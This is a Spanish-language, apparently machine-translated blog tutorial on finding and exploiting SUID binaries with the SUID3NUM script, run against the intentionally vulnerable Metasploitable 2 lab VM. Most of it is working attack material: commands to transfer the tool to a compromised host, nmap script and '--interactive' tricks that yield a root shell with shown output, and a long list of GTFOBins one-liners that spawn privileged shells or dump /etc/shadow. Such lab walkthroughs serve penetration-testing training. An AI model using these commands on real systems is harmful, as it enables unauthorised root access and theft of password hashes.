BlogWonderHowTo

Cómo: buscar y explotar binarios SUID con SUID3NUM

Los permisos de archivos pueden complicarse en Linux y pueden ser una valiosa vía de ataque durante la escalada de privilegios si las cosas no están configuradas correctamente. Los binarios SUID a menudo pueden ser un camino fácil para rootear, pero examinar todos los valores predeterminados puede ser una gran pérdida de tiempo. Afortunadamente, hay un guión simple que puede solucionarnos las cosas.

Primero, analicemos SUID, que significa Establecer ID de usuario. Es un tipo particular de permiso de archivo en Linux, diferente de los permisos habituales de lectura, escritura y ejecución. Normalmente, un archivo se ejecuta con los permisos del usuario que lo inició. Pero cuando se establece el bit SUID, el archivo se ejecuta con los permisos de su propietario.

Los problemas surgen cuando un programa o archivo (a menudo llamado binarios) es propiedad de root pero otros usuarios pueden ejecutarlo. Dependiendo del binario, se pueden ejecutar comandos específicos que finalmente darán como resultado un shell de root. Malo para los administradores, bueno para los atacantes.

SUID3NUM frente a otras secuencias de comandos de enumeración

SUID3NUM, que usaremos para aprovechar los binarios SUID vulnerables, es un script de Python que puede encontrar binarios SUID, distinguir entre los predeterminados y personalizados e intentar explotarlos usando el Repositorio GTFOBins (GTFOBins es una colección impresionante de binarios de Unix que se pueden utilizar para escalar privilegios). Es un script independiente que funcionará tanto con Python 2 como con Python 3.

Hay otros scripts de enumeración, como el popular LinEnum, que identificarán los binarios SUID predeterminados y personalizados, pero el problema es que no los separan. Entonces, a menos que sea un experto absoluto en binarios de Unix, es posible perder mucho tiempo tratando de explotar lo inexplorable. Aquí es donde SUID3NUM realmente brilla. Al encontrar un binario vulnerable, enumerará el comando o comandos para explotarlo, e incluso tiene una opción para la explotación automática.

A continuación, estamos usando Metasploitable 2, una máquina virtual Ubuntu Linux intencionalmente vulnerable, como el objetivo, y Kali Linux como nuestra máquina local.

Paso 1: obtenga un caparazón inverso en el objetivo

Para usar SUID3NUM, que es un script de enumeración posterior a la explotación, primero debemos explotar el sistema de destino y obtener un shell. A veces, las aplicaciones web serán vulnerables a la inyección de comandos, en la que surgen errores de configuración que permiten a un atacante ejecutar comandos del sistema operativo en el servidor. Podemos abusar fácilmente de esos escenarios para obtener un caparazón inverso. Pero hay muchas otras formas de obtener un caparazón inverso.

Paso 2: obtenga SUID3NUM en el objetivo

El siguiente paso consiste en actualizar nuestro shell limitado a una sesión TTY completamente interactiva. Hacerlo no solo nos permitirá usar la finalización de pestañas y el historial de la terminal, sino que hará que las cosas sean mucho más limpias y fáciles de realizar los pasos necesarios para la post-explotación. También queremos movernos a un directorio grabable como / var / tmp para que podamos ejecutar nuestro script sin problemas.

En nuestra máquina local, descarguemos SUID3NUM de GitHub. Una forma sencilla de hacerlo es utilizar el wget mando:

~# wget https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py

--2020-04-26 12:22:35--  https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12614 (12K) [text/plain]
Saving to: ‘suid3num.py’

suid3num.py                                           100%[======================================================================================================================>]  12.32K  --.-KB/s    in 0.001s

2020-04-26 12:22:36 (16.1 MB/s) - ‘suid3num.py’ saved [12614/12614]

A continuación, podemos usar Python para iniciar un servidor HTTP básico que podemos usar para transferir el script al destino. Asumiremos que el objetivo tiene acceso restringido a Internet, por lo que debemos obtener el script allí nosotros mismos en lugar de descargarlo directamente en el objetivo.

Inicie el servidor con el siguiente comando:

~# python -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 ...

De vuelta en el shell que tenemos en el objetivo, podemos recuperar el archivo usando wget nuevamente, esta vez usando la dirección IP y el puerto apropiados:

www-data@metasploitable:/var/tmp$ wget http://10.10.0.1:8000/suid3num.py

--14:19:06--  http://10.10.0.1:8000/suid3num.py
           => `suid3num.py'
Connecting to 10.10.0.1:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12,614 (12K) [text/plain]

100%[=========================================================================================================================================================================>] 12,614        --.--K/s

14:19:06 (65.16 MB/s) - `suid3num.py' saved [12614/12614]

Deberíamos ver la solicitud GET en nuestra máquina local, lo que indica que la transferencia se realizó correctamente:

~# python -m SimpleHTTPServer

Serving HTTP on 0.0.0.0 port 8000 ...
10.10.0.50 - - [26/Apr/2020 12:24:53] "GET /suid3num.py HTTP/1.0" 200 -

En este punto, podemos eliminar el servidor Python ya que ya no lo necesitamos.

Paso 3: use SUID3NUM para encontrar contenedores SUID

Para ejecutar SUID3NUM en el objetivo, simplemente use el pitón mando. Después de hacerlo, podemos ver que el script nos devuelve resultados en diferentes secciones:

www-data@metasploitable:/var/tmp$ python suid3num.py

  ___ _   _ _ ___    _____  _ _   _ __  __
 / __| | | / |     |__ / | | | | |  /  |
 __  |_| | | |) |  |_  .` | |_| | |/| |
 |___/___/|_|___/  |___/_|_|___/|_|  |_|  github@Anon-Exploiter

[#] Finding/Listing all SUID Binaries ..
------------------------------
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
------------------------------

[!] Default Binaries (Don't bother)
------------------------------
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
------------------------------

[~] Custom SUID Binaries (Interesting Stuff)
------------------------------
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/netkit-rlogin
/usr/bin/nmap
/usr/bin/netkit-rcp
/usr/bin/mtr
/usr/sbin/uuidd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/pt_chown
------------------------------

[#] SUID Binaries in GTFO bins list (Hell Yeah!)
------------------------------
/usr/bin/nmap -~> https://gtfobins.github.io/gtfobins/nmap/#suid
------------------------------

[#] Exploit
------------------------------
[&] Nmap
```
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
/usr/bin/nmap --script=$TF
```

------------------------------

[$] Please try the command(s) below to exploit SUID bin(s) found !!!
------------------------------
------------------------------

[-] Note
------------------------------
If you see any FP in the output, please report it to make the script better! :)

La primera sección enumera todos los binarios SUID que se encuentran en el sistema. La siguiente sección enumera los binarios predeterminados, con una nota que nos dice que no nos molestemos. La siguiente sección enumera los binarios personalizados, y ahí es donde las cosas podrían ponerse potencialmente interesantes. La sección final muestra los binarios que forman parte de la lista GTFOBins, lo que significa que hay una buena posibilidad de que se puedan explotar.

Luego nos da el comando o comandos para explotar cualquier binario SUID prometedor encontrado. Probémoslo. Primero, establezca la variable:

www-data@metasploitable:/var/tmp$ TF=$(mktemp)

A continuación, agregue el comando para ejecutar un shell:

www-data@metasploitable:/var/tmp$ echo 'os.execute("/bin/sh")' > $TF

Y finalmente, ejecute el binario (Nmap) con la opción de script establecida en nuestra variable. Tenga en cuenta que tuve que agregar localhost al comando o de lo contrario no se ejecutaría correctamente:

www-data@metasploitable:/var/tmp$ /usr/bin/nmap localhost --script=$TF

Starting Nmap 4.53 ( http://insecure.org ) at 2020-04-26 14:45 EDT
SCRIPT ENGINE: Warning: Loading '/tmp/tmp.FrEHDD5051' - the recommended file extension is '.nse'.
sh-3.2#

Se ejecuta y parece que se nos presenta un shell de root. Podemos usar el quién soy comando para verificar:

sh-3.2# whoami

root

Paso 4: agregue comandos personalizados a SUID3NUM

Podemos personalizar el script SUID3NUM para incluir binarios personalizados para buscar y comandos para ejecutar. Editemos el script con el nano editor:

www-data@metasploitable:/var/tmp$ nano suid3num.py

Busque la sección que se parece a la siguiente, que enumera los comandos utilizados para la explotación binaria SUID:

"""
Auto Exploitation of SUID Bins - List
"""

suidExploitation = {
        'taskset': '1 /bin/sh -p',
        'gdb': '-q -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit',
        'bash': '-p',
        'busybox': 'sh',
        'cat': '/etc/shadow',
        'cut': '-d "" -f1 /etc/shadow',
        'dash': '-p',
        'docker': 'run -v /:/mnt --rm -it alpine chroot /mnt sh',
        'env': '/bin/sh -p',
        'expand': '/etc/shadow',
        'expect': '-c "spawn /bin/sh -p;interact"',
        'find': '. -exec /bin/sh -p \; -quit',
        'flock': '-u / /bin/sh -p',
        'fold': '-w99999999 /etc/shadow',
        'grep': '"" /etc/shadow',
        'head': '-c2G /etc/shadow',
        'ionice': '/bin/sh -p',
        'jrunscript': '-e "exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)')"',
        'ksh': '-p',
        'ld.so': '/bin/sh -p',
        'less': '/etc/shadow',
        'logsave': '/dev/null /bin/sh -i -p',
        'make': '-s --eval=$'x:\n\t-'"/bin/sh -p"',
        'more': '/etc/shadow',
        'nice': '/bin/sh -p',
        'nl': '-bn -w1 -s '' /etc/shadow',
        'node': 'node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});'',
        'od': 'od -An -c -w9999 /etc/shadow | sed -E -e 's/ //g' -e 's/\\n/\n/g'',
        'perl': '-e 'exec "/bin/sh";'',
        'pg': '/etc/shadow',
        'php': '-r "pcntl_exec('/bin/sh', ['-p']);"',
        'python': '-c 'import os; os.execl("/bin/sh", "sh", "-p")'',
        'rlwrap': '-H /dev/null /bin/sh -p',
        'rpm': '--eval '%{lua:os.execute("/bin/sh", "-p")}'',
        'rpmquery': '--eval '%{lua:posix.exec("/bin/sh", "-p")}'',
        'rsync': '-e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null',
        'run-parts': '--new-session --regex '^sh$' /bin --arg='-p'',
        'rvim': '-c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'',
        'sed': '-e "" /etc/shadow',
        'setarch': '$(arch) /bin/sh -p',
        'sort': '-m /etc/shadow',
        'start-stop-daemon': '-n $RANDOM -S -x /bin/sh -- -p',
        'stdbuf': '-i0 /bin/sh -p',
        'strace': '-o /dev/null /bin/sh -p',
        'tail': '-c2G /etc/shadow',
        'time': '/bin/sh -p',
        'timeout': '7d /bin/sh -p',
        'ul': '/etc/shadow',
        'unexpand': 'unexpand -t99999999 /etc/shadow',
        'uniq': '/etc/shadow',
        'unshare': '-r /bin/sh',
        'vim': '-c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'',
        'watch': '-x sh -c 'reset; exec sh 1>&0 2>&0'',
        'xargs': '-a /dev/null sh -p',
        'xxd': '/etc/shadow | xxd -r'
}

Existe una forma más sencilla de explotar el binario de Nmap utilizando solo una línea en lugar de las tres anteriores. El –interactivo La opción disponible en versiones anteriores de Nmap permitía que los comandos del sistema operativo se ejecutaran desde el indicador interactivo. El problema era que se ejecutaba como root, por lo que todo lo que un atacante tenía que hacer era ejecutar el comando para generar un shell de root.

Agregue esta línea a la sección de comandos en el script:

'nmap': '--interactive',

prensa Control-X, Y, y Ingresar para guardar el archivo. Ahora, cuando ejecutamos SUID3NUM en modo de explotación automática, usando el -mi flag, intentará explotar cualquier binario SUID vulnerable que encuentre automáticamente:

www-data@metasploitable:/var/tmp$ python suid3num.py -e

  ___ _   _ _ ___    _____  _ _   _ __  __
 / __| | | / |     |__ / | | | | |  /  |
 __  |_| | | |) |  |_  .` | |_| | |/| |
 |___/___/|_|___/  |___/_|_|___/|_|  |_|  github@Anon-Exploiter

[#] Finding/Listing all SUID Binaries ..
------------------------------
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/netkit-rlogin
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/nmap
/usr/bin/chsh
/usr/bin/netkit-rcp
/usr/bin/passwd
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
------------------------------

[!] Default Binaries (Don't bother)
------------------------------
/bin/umount
/bin/fusermount
/bin/su
/bin/mount
/bin/ping
/bin/ping6
/sbin/mount.nfs
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/sudo
/usr/bin/arping
/usr/bin/at
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/passwd
/usr/sbin/pppd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
------------------------------

[~] Custom SUID Binaries (Interesting Stuff)
------------------------------
/lib/dhcp3-client/call-dhclient-script
/usr/bin/sudoedit
/usr/bin/X
/usr/bin/netkit-rsh
/usr/bin/netkit-rlogin
/usr/bin/nmap
/usr/bin/netkit-rcp
/usr/bin/mtr
/usr/sbin/uuidd
/usr/lib/telnetlogin
/usr/lib/apache2/suexec
/usr/lib/pt_chown
------------------------------

[#] SUID Binaries in GTFO bins list (Hell Yeah!)
------------------------------
/usr/bin/nmap -~> https://gtfobins.github.io/gtfobins/nmap/#suid
------------------------------

[#] Exploit
------------------------------
------------------------------

[$] Auto Exploiting SUID bit binaries !!!
------------------------------

[#] Executing Command ..
[~] /usr/bin/nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap>

La única advertencia con ese comando en particular es que no hay forma de ejecutar automáticamente ningún comando del sistema operativo una vez que estamos en el shell interactivo de Nmap. Entonces, en ese caso, no es completamente automático, pero diferentes binarios SUID producirán otros resultados.

Desde el mensaje interactivo, simplemente ingrese ! sh para generar un caparazón:

nmap> !sh

sh-3.2#

Y dado que se ejecuta como root, ahora tenemos un shell de root:

sh-3.2# whoami

root

Terminando

Hoy, aprendimos un poco sobre los binarios SUID y cómo se puede abusar de ellos para escalar privilegios en sistemas Linux. Usamos un script llamado SUID3NUM para encontrar binarios problemáticos en el objetivo, e incluso lo personalizamos para intentar la explotación automática. SUID3NUM es un script útil que puede reducir el tiempo necesario para identificar binarios SUID vulnerables durante la posexplotación.

Imagen de portada y capturas de pantalla de drd_ / Null byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Mira también
Cerrar
Botón volver arriba
Cerrar